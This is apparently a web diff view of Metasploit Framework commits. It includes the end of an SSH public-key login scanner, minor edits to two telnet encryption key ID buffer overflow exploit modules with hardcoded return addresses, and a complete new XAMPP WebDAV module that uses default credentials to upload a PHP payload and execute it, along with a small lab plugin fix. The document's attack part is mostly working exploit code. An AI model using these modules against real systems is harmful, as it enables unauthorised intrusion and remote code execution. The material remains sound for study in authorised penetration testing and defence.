one or more SSH keys should be provided. These can be private or
|
||||
public, so long as no passphrase is set on the private keys.
|
||||
|
||||
If you have loaded a database plugin and connected to a database
|
||||
this module will record authorized public keys and hosts so you can
|
||||
track your process.
|
||||
|
||||
|
||||
Key files may be a single public (unencrypted) key, or several public
|
||||
keys concatenated together as an ASCII text file. Non-key data should be
|
||||
silently ignored. Private keys will only utilize the public key component
|
||||
stored within the key file.
|
||||
},
|
||||
'Author' => ['todb', 'hdm'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(22),
|
||||
OptPath.new('KEY_FILE', [false, 'Filename of one or several cleartext public keys.'])
|
||||
], self.class
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
|
||||
OptString.new('SSH_KEYFILE_B64', [false, 'Raw data of an unencrypted SSH public key. This should be used by programmatic interfaces to this module only.', '']),
|
||||
OptPath.new('KEY_DIR', [false, 'Directory of several keys. Filenames must not begin with a dot in order to be read.'])
|
||||
]
|
||||
)
|
||||
|
||||
deregister_options('RHOST','PASSWORD','PASS_FILE','BLANK_PASSWORDS','USER_AS_PASS')
|
||||
|
||||
@good_credentials = {}
|
||||
@good_key = ''
|
||||
@strip_passwords = true
|
||||
|
||||
end
|
||||
|
||||
def key_dir
|
||||
datastore['KEY_DIR']
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def ip
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
||||
def read_keyfile(file)
|
||||
if file == :keyfile_b64
|
||||
keyfile = datastore['SSH_KEYFILE_B64'].unpack("m*").first
|
||||
elsif file.kind_of? Array
|
||||
keyfile = ''
|
||||
file.each do |dir_entry|
|
||||
next unless ::File.readable? dir_entry
|
||||
keyfile << ::File.open(dir_entry, "rb") {|f| f.read(f.stat.size)}
|
||||
end
|
||||
else
|
||||
keyfile = ::File.open(file, "rb") {|f| f.read(f.stat.size)}
|
||||
end
|
||||
keys = []
|
||||
this_key = []
|
||||
in_key = false
|
||||
keyfile.split("\n").each do |line|
|
||||
if line =~ /ssh-(dss|rsa)\s+/
|
||||
keys << line
|
||||
next
|
||||
end
|
||||
|
||||
in_key = true if(line =~ /^-----BEGIN [RD]SA (PRIVATE|PUBLIC) KEY-----/)
|
||||
this_key << line if in_key
|
||||
if(line =~ /^-----END [RD]SA (PRIVATE|PUBLIC) KEY-----/)
|
||||
in_key = false
|
||||
keys << (this_key.join("\n") + "\n")
|
||||
this_key = []
|
||||
end
|
||||
end
|
||||
if keys.empty?
|
||||
print_error "#{ip}:#{rport} SSH - No valid keys found"
|
||||
end
|
||||
return validate_keys(keys)
|
||||
end
|
||||
|
||||
# Validates that the key isn't total garbage. Also throws out SSH2 keys --
|
||||
# can't use 'em for Net::SSH.
|
||||
def validate_keys(keys)
|
||||
keepers = []
|
||||
keys.each do |key|
|
||||
if key =~ /ssh-(dss|rsa)/
|
||||
keepers << key
|
||||
next
|
||||
end
|
||||
|
||||
# Needs a beginning
|
||||
next unless key =~ /^-----BEGIN [RD]SA (PRIVATE|PUBLIC) KEY-----\x0d?\x0a/m
|
||||
# Needs an end
|
||||
next unless key =~ /\n-----END [RD]SA (PRIVATE|PUBLIC) KEY-----\x0d?\x0a?$/m
|
||||
# Shouldn't have binary.
|
||||
next unless key.scan(/[\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff]/).empty?
|
||||
# Add more tests to taste.
|
||||
keepers << key
|
||||
end
|
||||
if keepers.empty?
|
||||
print_error "#{ip}:#{rport} SSH - No valid keys found"
|
||||
end
|
||||
return keepers.uniq
|
||||
end
|
||||
|
||||
def pull_cleartext_keys(keys)
|
||||
cleartext_keys = []
|
||||
keys.each do |key|
|
||||
next unless key
|
||||
next if key =~ /Proc-Type:.*ENCRYPTED/
|
||||
this_key = key.gsub(/\x0d/,"")
|
||||
next if cleartext_keys.include? this_key
|
||||
cleartext_keys << this_key
|
||||
end
|
||||
if cleartext_keys.empty?
|
||||
print_error "#{ip}:#{rport} SSH - No valid cleartext keys found"
|
||||
end
|
||||
return cleartext_keys
|
||||
end
|
||||
|
||||
def do_login(ip, port, user)
|
||||
|
||||
if datastore['KEY_FILE'] and File.readable?(datastore['KEY_FILE'])
|
||||
keys = read_keyfile(datastore['KEY_FILE'])
|
||||
@keyfile_path = datastore['KEY_FILE'].dup
|
||||
cleartext_keys = pull_cleartext_keys(keys)
|
||||
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user."
|
||||
elsif datastore['SSH_KEYFILE_B64'] && !datastore['SSH_KEYFILE_B64'].empty?
|
||||
keys = read_keyfile(:keyfile_b64)
|
||||
cleartext_keys = pull_cleartext_keys(keys)
|
||||
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user (read from datastore)."
|
||||
elsif datastore['KEY_DIR']
|
||||
@keyfile_path = datastore['KEY_DIR'].dup
|
||||
return :missing_keyfile unless(File.directory?(key_dir) && File.readable?(key_dir))
|
||||
unless @key_files
|
||||
@key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/ || f =~ /\x2epub$/}
|
||||
end
|
||||
these_keys = @key_files.map {|f| File.join(key_dir,f)}
|
||||
keys = read_keyfile(these_keys)
|
||||
cleartext_keys = pull_cleartext_keys(keys)
|
||||
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user."
|
||||
else
|
||||
return :missing_keyfile
|
||||
end
|
||||
|
||||
unless @alerted_with_msg
|
||||
print_status msg
|
||||
@alerted_with_msg = true
|
||||
end
|
||||
|
||||
cleartext_keys.each_with_index do |key_data,key_idx|
|
||||
key_info = ""
|
||||
|
||||
if key_data =~ /ssh\-(rsa|dsa)\s+([^\s]+)\s+(.*)/
|
||||
key_info = "- #{$3.strip}"
|
||||
end
|
||||
|
||||
|
||||
accepted = []
|
||||
opt_hash = {
|
||||
:auth_methods => ['publickey'],
|
||||
:msframework => framework,
|
||||
:msfmodule => self,
|
||||
:port => port,
|
||||
:key_data => key_data,
|
||||
:disable_agent => true,
|
||||
:record_auth_info => true,
|
||||
:skip_private_keys => true,
|
||||
:accepted_key_callback => Proc.new {|key| accepted << key }
|
||||
}
|
||||
|
||||
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
||||
|
||||
begin
|
||||
ssh_socket = Net::SSH.start(ip, user, opt_hash)
|
||||
ssh_socket.close rescue nil
|
||||
|
||||
rescue Rex::ConnectionError, Rex::AddressInUse
|
||||
return :connection_error
|
||||
rescue Net::SSH::Disconnect, ::EOFError
|
||||
return :connection_disconnect
|
||||
rescue Net::SSH::AuthenticationFailed
|
||||
rescue Net::SSH::Exception => e
|
||||
return [:fail,nil] # For whatever reason.
|
||||
end
|
||||
|
||||
if accepted.length == 0
|
||||
if @key_files
|
||||
vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{@key_files[key_idx+1]} #{key_info}"
|
||||
else
|
||||
vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{key_idx+1} #{key_info}"
|
||||
end
|
||||
end
|
||||
|
||||
accepted.each do |key|
|
||||
print_good "#{ip}:#{rport} SSH - Accepted: '#{user}' with key '#{key[:fingerprint]}' #{key_info}"
|
||||
do_report(ip, rport, user, key)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def do_report(ip, port, user, key)
|
||||
report_note(
|
||||
:host => ip,
|
||||
:type => 'ssh.authorized_key',
|
||||
:port => port,
|
||||
:protocol => 'tcp',
|
||||
:data => {:username => user, :fingerprint => key[:fingerprint] },
|
||||
:insert => :unique_data
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
# Since SSH collects keys and tries them all on one authentication session, it doesn't
|
||||
# make sense to iteratively go through all the keys individually. So, ignore the pass variable,
|
||||
# and try all available keys for all users.
|
||||
each_user_pass do |user,pass|
|
||||
ret, proof = do_login(ip, rport, user)
|
||||
case ret
|
||||
when :connection_error
|
||||
vprint_error "#{ip}:#{rport} - SSH - Could not connect"
|
||||
:abort
|
||||
when :connection_disconnect
|
||||
vprint_error "#{ip}:#{rport} - SSH - Connection timed out"
|
||||
:abort
|
||||
when :fail
|
||||
vprint_error "#{ip}:#{rport} - SSH - Failed: '#{user}'"
|
||||
when :missing_keyfile
|
||||
vprint_error "#{ip}:#{rport} - SSH - Cannot read keyfile"
|
||||
when :no_valid_keys
|
||||
vprint_error "#{ip}:#{rport} - SSH - No readable keys in keyfile"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'FreeBSD Telnet Service Encyption Key ID Buffer Overflow',
|
||||
'Name' => 'FreeBSD Telnet Service Encryption Key ID Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a buffer overflow in the encryption option handler of the
|
||||
FreeBSD telnet service.
|
||||
|
@ -58,8 +58,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'FreeBSD 5.3', { 'Ret' => 0x8059730 } ], # direct return
|
||||
# Versions 5.2 and below do not support encyption
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => ''))
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Dec 23 2011'))
|
||||
end
|
||||
|
||||
def exploit_target(t)
|
||||
|
|
|
@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Linux BSD-derived Telnet Service Encyption Key ID Buffer Overflow',
|
||||
'Name' => 'Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a buffer overflow in the encryption option handler of the
|
||||
Linux BSD-derived telnet service (inetutils or krb5-telnet). Most Linux distributions
|
||||
|
@ -51,8 +51,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'Automatic', { } ],
|
||||
[ 'Red Hat Enterprise Linux 3 (krb5-telnet)', { 'Ret' => 0x0804b43c } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => ''))
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Dec 23 2011'))
|
||||
end
|
||||
|
||||
def exploit_target(t)
|
||||
|
|
|
@ -0,0 +1,91 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'XAMPP WebDAV PHP Upload',
|
||||
'Description' => %q{
|
||||
This module exploits weak WebDAV passwords on XAMPP servers.
|
||||
It uses supplied credentials to upload a PHP payload and
|
||||
execute it.
|
||||
},
|
||||
'Author' => ['thelightcosine <thelightcosine[at]metasploit.com'],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PATH', [ true, "The path to attempt to upload", '/webdav/']),
|
||||
OptString.new('FILENAME', [ false , "The filename to give the payload. (Leave Blank for Random)"]),
|
||||
OptString.new('RUSER', [ true, "The Username to use for Authentication", 'wampp']),
|
||||
OptString.new('RPASS', [ true, "The Password to use for Authentication", 'xampp'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
|
||||
def exploit
|
||||
uri = build_path
|
||||
print_status "Uploading Payload to #{uri}"
|
||||
res,c = send_digest_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'PUT',
|
||||
'data' => payload.raw,
|
||||
'DigestAuthUser' => datastore['RUSER'],
|
||||
'DigestAuthPassword' => datastore['RPASS']
|
||||
}, 25)
|
||||
unless (res.code == 201)
|
||||
print_error "Failed to upload file!"
|
||||
return
|
||||
end
|
||||
print_status "Attempting to execute Payload"
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'GET'
|
||||
}, 20)
|
||||
end
|
||||
|
||||
|
||||
|
||||
def build_path
|
||||
if datastore['PATH'][0,1] == '/'
|
||||
uri_path = datastore['PATH'].dup
|
||||
else
|
||||
uri_path = '/' + datastore['PATH'].dup
|
||||
end
|
||||
uri_path << '/' unless uri_path.ends_with?('/')
|
||||
if datastore['FILENAME']
|
||||
uri_path << datastore['FILENAME']
|
||||
uri_path << '.php' unless uri_path.ends_with?('.php')
|
||||
else
|
||||
uri_path << Rex::Text.rand_text_alphanumeric(7)
|
||||
uri_path << '.php'
|
||||
end
|
||||
return uri_path
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -383,7 +383,7 @@ class Plugin::Lab < Msf::Plugin
|
|||
|
||||
local_path = args[args.count-2]
|
||||
vm_path = args[args.count-1]
|
||||
|
||||
|
||||
if args[0] == "all"
|
||||
@controller.each do |vm|
|
||||
if vm.running?
|
||||
|
@ -393,7 +393,7 @@ class Plugin::Lab < Msf::Plugin
|
|||
end
|
||||
else
|
||||
args[0..-2].each do |vmid_arg|
|
||||
next unless @controller.includes_vmid? vmid_arg
|
||||
next unless @controller.includes_hostname? vmid_arg
|
||||
if @controller[vmid_arg].running?
|
||||
print_line "Copying from #{local_path} to #{vm_path} on #{vmid_arg}"
|
||||
@controller[vmid_arg].copy_to_guest(local_path, vm_path)
|
||||
|
|
Loading…
Reference in New Issue